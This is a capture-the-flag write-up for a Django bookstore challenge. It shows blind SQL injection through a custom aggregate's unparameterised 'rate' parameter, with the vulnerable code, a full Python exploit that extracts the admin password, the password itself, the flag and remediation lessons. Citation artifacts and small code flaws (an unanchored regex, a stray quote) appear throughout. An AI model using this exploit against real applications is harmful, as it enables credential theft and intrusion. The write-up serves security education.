

ORMT Challenge 3: Technical Writeup

Exploiting Blind SQL Injection via Custom Django Aggregate Templates

Author: Senpai [cite: 1] **Target:** http://exp.cybergame.sk:7003

Flag: SK-CERT{4ggr3g4t3_r4t3_t3mpl4t3_sqli} [cite: 1, 12]

Challenge Overview

The target is a Django-based online bookstore that recently introduced a "book repository" feature[cite: 2]. This endpoint, `/repository`, allows for advanced data filtering and aggregation[cite: 3]. The primary objective is to gain access to the `/admin` route, which is protected by HTTP Basic Authentication and holds the flag[cite: 2].

- **Admin Username:** Admin [cite: 4]
- **Admin Password:** 32-character random alphanumeric string [cite: 4]
- **Constraint:** Previous ORM parameter injections (CVE-2025-64459) have been patched[cite: 3].

Vulnerability Analysis

The Vulnerable Aggregate

The application defines a custom aggregate class, `Convert`, in `functions.py` [cite: 1]. The critical flaw lies in how the SQL is constructed using Python's `%` string operator:

```
class Convert(Aggregate):
    function = "SUM"
    template = "%(function)s%(expressions)s * %(rate)s"    # Python % template [cite: 1]
    arity = 1

    def __init__(self, expression, rate=None, **extra):
        extra.setdefault("rate", self.default_rate if rate is None else rate)
        super().__init__(expression, **extra)
```

Insufficient Sanitization

In `views.py`, the developer attempted to secure the input by blocking specific parameter names[cite: 5, 6]. However, while `template` and `function` are restricted, the `rate` parameter remains user-controllable and flows directly into the SQL query[cite: 9]:

```
# views.py snippet
for param in request.GET:
    if param in ['template', 'function']: # Blocklist [cite: 6]
        return HttpResponseBadRequest("Forbidden param")
    params[param] = request.GET[param]

# Aggregation execution
result = Book.objects.filter(**filters).aggregate(
    res=aggregate_function_callable(target_field, **params)
)
```

Root Cause: Django's `Aggregate.as_sql()` interpolates `self.extra` (which contains our 'rate') directly into the SQL string without parameterization[cite: 8].

Blind Boolean Oracle

By injecting a SQLite `CASE` expression into the `rate` parameter, we can create a boolean signal[cite: 10]. If our subquery returns 1, the total aggregate result is non-zero (match); if it returns 0, the result is zero (no match)[cite: 10, 11].

Full Exploit Script (exploit.py)

The following script determines the password length and then iterates through the character set to extract the 32-character admin password.

```
#!/usr/bin/env python3
import requests, re, base64, string

TARGET = "http://exp.cybergame.sk:7003"
CHARS = string.ascii_letters + string.digits # 62 chars

def oracle(position, char):
    """Returns True if password[position] == char."""
    rate = (f"(SELECT CASE WHEN substr(password,{position},1)='{char}' "
            f"THEN 1 ELSE 0 END FROM main_siteuser WHERE role='admin')")
    r = requests.get(f"{TARGET}/repository",
                    params={"aggregate": "Convert", "field": "price", "rate": rate})
    m = re.search(r'agg-value">(.*?)', r.text)
    return m and float(m.group(1)) != 0.0 [cite: 13]

def get_password_length():
    for length in range(1, 64):
        rate = f"(SELECT CASE WHEN length(password)={length} THEN 1 ELSE 0 END FROM main_siteuser WHERE role='admin')\"
        r = requests.get(f"{TARGET}/repository", params={"aggregate": "Convert", "field": "price", "rate": rate})
        m = re.search(r'agg-value">(.*?)', r.text)
        if m and float(m.group(1)) != 0.0: return length
    return 32

print("=== ORMT3 FULL EXPLOIT ===")
pw_len = get_password_length()
password = []

for pos in range(1, pw_len + 1):
    for char in CHARS:
        if oracle(pos, char):
            password.append(char)
            print(f"    pos {pos:2d}: '{char}' -> {''.join(password)}")
            break

full_pw = ''.join(password)
creds = base64.b64encode(f"Admin:{full_pw}".encode()).decode()
r = requests.get(f"{TARGET}/admin", headers={"Authorization": f"Basic {creds}"})
print(f"\nFinal Flag: {r.text}")
```

Extraction and Results

The extraction process successfully identifies the password via a blind signal in the HTML response[cite: 10, 11].

Exploit Script Execution

Figure 1: Successful brute-force of the admin password using the blind oracle.

Extracted Password: `dNXTHPu5SM0fgBLD9wDi4ZXZGR1ugVmJ`

Administrative Access: Authenticating via Basic Auth with the extracted credentials yields the flag.

Lessons Learned

- **Template Safety:** Custom Django Aggregates that use string interpolation (%) for SQL templates are inherently vulnerable to SQLi[cite: 14].
- **The Myth of Blocklists:** Blocking `template` is insufficient when other parameters (`rate`) land in the same interpolation context[cite: 15].
- **Correct Remediation:** User inputs should be treated as SQL parameters, never interpolated directly into the query string[cite: 16].
- **Security Regression:** Patching one vulnerability class while introducing another in a new feature is a classic "whack-a-mole" anti-pattern[cite: 18].

FINAL FLAG

`SK-CERT{4ggr3g4t3_r4t3_t3mpl4t3_sqli}`